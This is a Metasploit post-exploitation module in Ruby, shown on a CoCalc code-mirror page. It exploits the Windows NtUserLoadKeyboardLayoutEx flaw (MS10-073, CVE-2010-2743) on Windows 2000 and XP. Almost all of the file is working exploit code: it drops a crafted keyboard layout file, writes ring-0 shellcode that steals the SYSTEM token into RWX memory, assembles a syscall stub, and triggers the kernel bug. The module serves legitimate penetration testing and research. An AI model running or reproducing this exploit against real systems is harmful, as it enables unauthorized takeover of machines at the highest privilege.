CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/escalate/ms10_073_kbdlayout.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'metasm'
7
8
class MetasploitModule < Msf::Post
9
include Msf::Post::Windows::Version
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Windows Escalate NtUserLoadKeyboardLayoutEx Privilege Escalation',
16
'Description' => %q{
17
This module exploits the keyboard layout vulnerability exploited by Stuxnet. When
18
processing specially crafted keyboard layout files (DLLs), the Windows kernel fails
19
to validate that an array index is within the bounds of the array. By loading
20
a specially crafted keyboard layout, an attacker can execute code in Ring 0.
21
},
22
'License' => MSF_LICENSE,
23
'Author' => [
24
'Ruben Santamarta', # First public exploit
25
'jduck' # Metasploit module
26
],
27
'Platform' => [ 'win' ],
28
'SessionTypes' => [ 'meterpreter' ],
29
'References' => [
30
[ 'OSVDB', '68552' ],
31
[ 'CVE', '2010-2743' ],
32
[ 'MSB', 'MS10-073' ],
33
[ 'URL', 'http://www.reversemode.com/index.php?option=com_content&task=view&id=71&Itemid=1' ],
34
[ 'EDB', '15985' ]
35
],
36
'DisclosureDate' => '2010-10-12',
37
'Compat' => {
38
'Meterpreter' => {
39
'Commands' => %w[
40
core_channel_eof
41
core_channel_open
42
core_channel_read
43
core_channel_write
44
stdapi_fs_delete_file
45
stdapi_railgun_api
46
stdapi_railgun_memwrite
47
stdapi_sys_config_getenv
48
stdapi_sys_process_getpid
49
]
50
}
51
}
52
)
53
)
54
end
55
56
def run
57
mem_base = nil
58
dllpath = nil
59
hDll = false
60
version = get_version_info
61
unless version.build_number.between?(Msf::WindowsVersion::Win2000, Msf::WindowsVersion::Win7_SP0)
62
print_error("#{version.product_name} is not vulnerable.")
63
return
64
end
65
66
unless version.build_number.between?(Msf::WindowsVersion::Win2000, Msf::WindowsVersion::XP_SP2)
67
print_error("#{version.product_name} is vulnerable, but not supported by this module.")
68
return
69
end
70
71
# syscalls from http://j00ru.vexillium.org/win32k_syscalls/
72
if version.build_number == Msf::WindowsVersion::Win2000
73
system_pid = 8
74
pid_off = 0x9c
75
flink_off = 0xa0
76
token_off = 0x12c
77
addr = 0x41424344
78
syscall_stub = <<~EOS
79
mov eax, 0x000011b6
80
lea edx, [esp+4]
81
int 0x2e
82
ret 0x1c
83
EOS
84
else # XP
85
system_pid = 4
86
pid_off = 0x84
87
flink_off = 0x88
88
token_off = 0xc8
89
addr = 0x60636261
90
syscall_stub = <<~EOS
91
mov eax, 0x000011c6
92
mov edx, 0x7ffe0300
93
call [edx]
94
ret 0x1c
95
EOS
96
end
97
98
ring0_code =
99
# "\xcc" +
100
# save registers -- necessary for successful recovery
101
"\x60" +
102
# get EPROCESS from ETHREAD
103
"\x64\xa1\x24\x01\x00\x00" \
104
"\x8b\x70\x44" +
105
# init PID search
106
"\x89\xf0" \
107
"\xbb" + 'FFFF' \
108
"\xb9" + 'PPPP' +
109
# look for the system pid EPROCESS
110
"\xba" + 'SSSS' \
111
"\x8b\x04\x18" \
112
"\x29\xd8" \
113
"\x39\x14\x08" \
114
"\x75\xf6" +
115
# save the system token addr in edi
116
"\xbb" + 'TTTT' \
117
"\x8b\x3c\x18" \
118
"\x83\xe7\xf8" +
119
# re-init the various offsets
120
"\x89\xf0" \
121
"\xbb" + 'FFFF' \
122
"\xb9" + 'PPPP' +
123
# find the target pid token
124
"\xba" + 'TPTP' \
125
"\x8b\x04\x18" \
126
"\x29\xd8" \
127
"\x39\x14\x08" \
128
"\x75\xf6" +
129
# set the target pid's token to the system token
130
"\xbb" + 'TTTT' \
131
"\x89\x3c\x18" +
132
# restore start context
133
"\x61" +
134
# recover in ring0, return to caller
135
"\xc2\x0c\00"
136
137
dll_data =
138
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
139
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
140
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
141
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00" \
142
"\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
143
"\x00\x00\x00\x00\xE0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
144
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
145
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
146
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
147
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
148
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
149
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
150
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
151
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
152
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
153
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
154
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
155
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
156
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
157
"\x00\x00\x00\x00\x00\x00\x00\x00\x2E\x64\x61\x74\x61\x00\x00\x00" \
158
"\xE6\x00\x00\x00\x60\x01\x00\x00\xE6\x00\x00\x00\x60\x01\x00\x00" \
159
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
160
"\x94\x01\x00\x00\x9E\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
161
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
162
"\xA6\x01\x00\x00\xAA\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
163
"\x00\x00\x00\x00\x9C\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
164
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
165
"\x00\x00\x01\x00\x00\x00\xC2\x01\x00\x00\x00\x00\x00\x00\x00\x00" \
166
"\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
167
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
168
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
169
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
170
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
171
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
172
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
173
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
174
"\x00\x00\x00\x00\x00\x00"
175
176
pid = session.sys.process.getpid
177
print_status('Attempting to elevate PID 0x%x' % pid)
178
179
# Prepare the shellcode (replace platform specific stuff, and pid)
180
ring0_code.gsub!('FFFF', [flink_off].pack('V'))
181
ring0_code.gsub!('PPPP', [pid_off].pack('V'))
182
ring0_code.gsub!('SSSS', [system_pid].pack('V'))
183
ring0_code.gsub!('TTTT', [token_off].pack('V'))
184
ring0_code.gsub!('TPTP', [pid].pack('V'))
185
186
# Create the malicious Keyboard Layout file...
187
tmpdir = session.sys.config.getenv('TEMP')
188
fname = 'p0wns.boom'
189
dllpath = "#{tmpdir}\\#{fname}"
190
fd = session.fs.file.new(dllpath, 'wb')
191
fd.write(dll_data)
192
fd.close
193
194
# Can't use this atm, no handle access via stdapi :(
195
# dll_fd = session.fs.file.new(dllpath, 'rb')
196
# Instead, we'll use railgun to re-open the file
197
ret = session.railgun.kernel32.CreateFileA(dllpath, GENERIC_READ, 1, nil, 3, 0, 0)
198
print_status(ret.inspect)
199
if ret['return'] < 1
200
print_error("Unable to open #{dllpath}")
201
return
202
end
203
hDll = ret['return']
204
print_status("Wrote malicious keyboard layout to #{dllpath} ..")
205
206
# Allocate some RWX virtual memory for our use..
207
mem_base = addr & 0xffff0000
208
mem_size = (addr & 0xffff) + 0x1000
209
mem_size += (0x1000 - (mem_size % 0x1000))
210
mem = session.railgun.kernel32.VirtualAlloc(mem_base, mem_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)
211
if (mem['return'] != mem_base)
212
print_error('Unable to allocate RWX memory @ 0x%x' % mem_base)
213
return
214
end
215
print_status(format('Allocated 0x%x bytes of memory @ 0x%x', mem_size, mem_base))
216
217
# Initialize the buffer to contain NO-OPs
218
nops = "\x90" * mem_size
219
ret = session.railgun.memwrite(mem_base, nops, nops.length)
220
if !ret
221
print_error('Unable to fill memory with NO-OPs')
222
return
223
end
224
225
# Copy the shellcode to the desired place
226
ret = session.railgun.memwrite(addr, ring0_code, ring0_code.length)
227
if !ret
228
print_error('Unable to copy ring0 payload')
229
return
230
end
231
232
# InitializeUnicodeStr(&uStr,L"pwn3d.dll"); -- Is this necessary?
233
pKLID = mem_base
234
pStr = pKLID + (2 + 2 + 4)
235
kbd_name = 'pwn3d.dll'
236
uni_name = Rex::Text.to_unicode(kbd_name + "\x00")
237
ret = session.railgun.memwrite(pStr, uni_name, uni_name.length)
238
if !ret
239
print_error('Unable to copy unicode string data')
240
return
241
end
242
unicode_str = [
243
kbd_name.length * 2,
244
uni_name.length,
245
pStr
246
].pack('vvV')
247
ret = session.railgun.memwrite(pKLID, unicode_str, unicode_str.length)
248
if !ret
249
print_error('Unable to copy UNICODE_STRING structure')
250
return
251
end
252
print_status('Initialized RWX buffer ...')
253
254
# Get the current Keyboard Layout
255
ret = session.railgun.user32.GetKeyboardLayout(0)
256
if ret['return'] < 1
257
print_error('Unable to GetKeyboardLayout')
258
return
259
end
260
hKL = ret['return']
261
print_status('Current Keyboard Layout: 0x%x' % hKL)
262
263
# _declspec(naked) HKL __stdcall NtUserLoadKeyboardLayoutEx(
264
# IN HANDLE Handle,
265
# IN DWORD offTable,
266
# IN PUNICODE_STRING puszKeyboardName,
267
# IN HKL hKL,
268
# IN PUNICODE_STRING puszKLID,
269
# IN DWORD dwKLID,
270
# IN UINT Flags
271
# )
272
273
# Again, railgun/meterpreter doesn't implement calling a non-dll function, so
274
# I tried to hack up this call to KiFastSystemCall, but that didn't work either...
275
=begin
276
session.railgun.add_function('ntdll', 'KiFastSystemCall', 'DWORD',
277
[
278
[ 'DWORD', 'syscall', 'in' ],
279
[ 'DWORD', 'handle', 'in' ],
280
[ 'DWORD', 'offTable', 'in' ],
281
[ 'PBLOB', 'pKbdName', 'in' ],
282
[ 'DWORD', 'hKL', 'in' ],
283
[ 'PBLOB', 'pKLID', 'in' ],
284
[ 'DWORD', 'dwKLID', 'in' ],
285
[ 'DWORD', 'Flags', 'in' ]
286
])
287
ret = session.railgun.ntdll.KiFastSystemCall(dll_fd, 0x1ae0160, nil, hKL, pKLID, 0x666, 0x101)
288
print_status(ret.inspect)
289
=end
290
291
# Instead, we'll craft a machine code blob to setup the stack and perform
292
# the system call..
293
asm = <<~EOS
294
pop esi
295
push 0x101
296
push 0x666
297
push #{'0x%x' % pKLID}
298
push #{'0x%x' % hKL}
299
push 0
300
push 0x1ae0160
301
push #{'0x%x' % hDll}
302
push esi
303
#{syscall_stub}
304
EOS
305
# print_status("\n" + asm)
306
bytes = Metasm::Shellcode.assemble(Metasm::Ia32.new, asm).encode_string
307
# print_status("\n" + Rex::Text.to_hex_dump(bytes))
308
309
# Copy this new system call wrapper function into our RWX memory
310
func_ptr = mem_base + 0x1000
311
ret = session.railgun.memwrite(func_ptr, bytes, bytes.length)
312
if !ret
313
print_error('Unable to copy system call stub')
314
return
315
end
316
print_status('Patched in syscall wrapper @ 0x%x' % func_ptr)
317
318
# GO GO GO
319
ret = session.railgun.kernel32.CreateThread(nil, 0, func_ptr, nil, 'CREATE_SUSPENDED', nil)
320
if ret['return'] < 1
321
print_error('Unable to CreateThread')
322
return
323
end
324
hthread = ret['return']
325
326
# Resume the thread to actually have the syscall happen
327
ret = client.railgun.kernel32.ResumeThread(hthread)
328
if ret['return'] < 1
329
print_error('Unable to ResumeThread')
330
return
331
end
332
print_good('Successfully executed syscall wrapper!')
333
334
# Now, send some input to cause ring0 payload execution...
335
print_status('Attempting to cause the ring0 payload to execute...')
336
vInput = [
337
1, # INPUT_KEYBOARD - input type
338
# KEYBDINPUT struct
339
0x0, # wVk
340
0x0, # wScan
341
0x0, # dwFlags
342
0x0, # time
343
0x0, # dwExtraInfo
344
0x0, # pad 1
345
0x0 # pad 2
346
].pack('VvvVVVVV')
347
ret = session.railgun.user32.SendInput(1, vInput, vInput.length)
348
print_status('SendInput: ' + ret.inspect)
349
ensure
350
# Clean up
351
if mem_base
352
ret = session.railgun.kernel32.VirtualFree(mem_base, 0, MEM_RELEASE)
353
if !(ret['return'])
354
print_error('Unable to free memory @ 0x%x' % mem_base)
355
end
356
end
357
358
# dll_fd.close
359
if hDll
360
ret = session.railgun.kernel32.CloseHandle(hDll)
361
if !(ret['return'])
362
print_error('Unable to CloseHandle')
363
end
364
end
365
366
session.fs.file.rm(dllpath) if dllpath
367
end
368
369
end
370
371